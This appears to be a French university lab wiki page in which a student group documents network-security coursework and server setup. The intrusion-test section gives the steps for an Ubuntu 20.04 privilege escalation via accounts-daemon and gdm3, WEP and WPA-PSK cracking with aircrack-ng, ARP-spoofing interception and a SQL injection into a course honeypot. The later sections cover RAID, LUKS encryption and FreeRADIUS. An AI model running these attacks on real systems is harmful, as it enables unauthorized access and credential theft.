Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/&lt;br /&gt;
&lt;br /&gt;
[[Fichier:dnssec1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
L'utilisation de la commande : &lt;br /&gt;
 dnssec-verify -o piedbleu.site db.piedbleu.site.signed&lt;br /&gt;
&lt;br /&gt;
nous donne le résultat suivant:&lt;br /&gt;
 Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'&lt;br /&gt;
 Verifying the zone using the following algorithms: RSASHA1.&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                     ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
&lt;br /&gt;
=Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai aperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux : &lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 $ sudo adduser u1&lt;br /&gt;
 $ su u1&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 $ ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 $ top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 $ kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 $ rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière-plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 $ nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comptes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 $ whoami&lt;br /&gt;
 pwn&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière-plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles : &lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
On peut ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse (cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collectés. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé (message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH (le mode d'authentification), ainsi que l'ESSID. &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par force brute. Pour cela, nous générons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons préalablement installée):&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 $ aircrak-ng -a2 -b 00:14:1B:60:8C:22 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-6.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur : &lt;br /&gt;
&lt;br /&gt;
 apt install dsniff&lt;br /&gt;
 export PATH=/sbin:/usr/sbin:$PATH&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : &lt;br /&gt;
&lt;br /&gt;
 arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).&lt;br /&gt;
&lt;br /&gt;
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Mitm-pra.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter.&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les identifiants récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John the Ripper nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I_was_here_IMA_G8&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=Réalisations=&lt;br /&gt;
&lt;br /&gt;
==Sécurisation de données : RAID 5 logiciel==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on crée 3 partitions virtuelles : &lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n piedbleu-raid1 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe le paquet mdadm.&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.&lt;br /&gt;
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
==Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 $ fdisk -l # on repère la clé USB&lt;br /&gt;
 $ fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/USB &lt;br /&gt;
 $ mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 $ touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 $ umount /mnt/USB&lt;br /&gt;
 $ cryptsetup luksClose myusbkey&lt;br /&gt;
&lt;br /&gt;
==Sécurisation WiFi par WPA2-EAP ==&lt;br /&gt;
&lt;br /&gt;
'''Tout d'abord, on configure le serveur FreeRADIUS sur notre VM.'''&lt;br /&gt;
&lt;br /&gt;
On installe le paquet :&lt;br /&gt;
 $ apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite, on ajoute un périphérique client (point d'accès WiFi) dans le fichier /etc/freeradius/3.0/clients.conf :&lt;br /&gt;
&lt;br /&gt;
 client 10.60.100.10/24 {&lt;br /&gt;
 	shortname = PA-zabeth11&lt;br /&gt;
 	secret = pasglop&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
On ajoute un utilisateur FreeRadius &amp;quot;pifou&amp;quot; dans le fichier de configuration /etc/freeradius/3.0/users : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour finir, on configure l'authentification PEAP-MSCHAPv2.&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 eap{&lt;br /&gt;
 ...&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
 ...&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Puis on modifie le fichier /etc/freeradius/3.0/mods-enabled/mschap : &lt;br /&gt;
&lt;br /&gt;
 use_mppe = yes&lt;br /&gt;
 require_encryption = yes&lt;br /&gt;
 require_strong = yes&lt;br /&gt;
 with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
'''Ensuite, on configure le point d'accès WiFi.'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group8&lt;br /&gt;
 radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key pasglop&lt;br /&gt;
 aaa group server radius radius_group8&lt;br /&gt;
 server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Mise en place du ssid 'Piedbleu' et intégration dans le vlan 308 : &lt;br /&gt;
&lt;br /&gt;
 dot11 ssid Piedbleu&lt;br /&gt;
 vlan 308&lt;br /&gt;
 authentication open eap eap_group8&lt;br /&gt;
 authentication network-eap eap_group8&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 Mbssid Guest-mode&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
Liaison interface wifi dot11radio0 avec le vlan 308 et méthode encryption: &lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 Mbssid&lt;br /&gt;
 encryption vlan 308 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid Piedbleu&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Encapsulation: &lt;br /&gt;
&lt;br /&gt;
 int dot11radio0.8&lt;br /&gt;
 encapsulation dot1q 308&lt;br /&gt;
 bridge-group 8&lt;br /&gt;
 int Gi0.8&lt;br /&gt;
 encapsulation dot1q 308&lt;br /&gt;
 bridge-group 8&lt;br /&gt;
&lt;br /&gt;
En n'oubliant pas de démarrer l'interface  :&lt;br /&gt;
&lt;br /&gt;
 int dot11radio0&lt;br /&gt;
 no shutdown&lt;br /&gt;
&lt;br /&gt;
On teste que le tout fonctionne.&lt;br /&gt;
&lt;br /&gt;
Ping du point d'accès vers notre VM : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Freeradius-ping.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On observe notre SSID &amp;quot;Piedbleu&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Freeradius-ssid.png|600px]]&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54281</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54281"/>
				<updated>2020-12-06T01:16:12Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* 6.4  Sécurisation WiFi par WPA2-EAP (FreeRADIUS) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=2. Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=4. Services Internet=&lt;br /&gt;
==4.0 Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, ssh sur la zabeth09, puis minicom : &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
 $  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==4.1  Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 $ service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 $ ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==4.2  Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
1ère étape: &lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.&lt;br /&gt;
&lt;br /&gt;
2ème étape:&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
3ème partie:&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
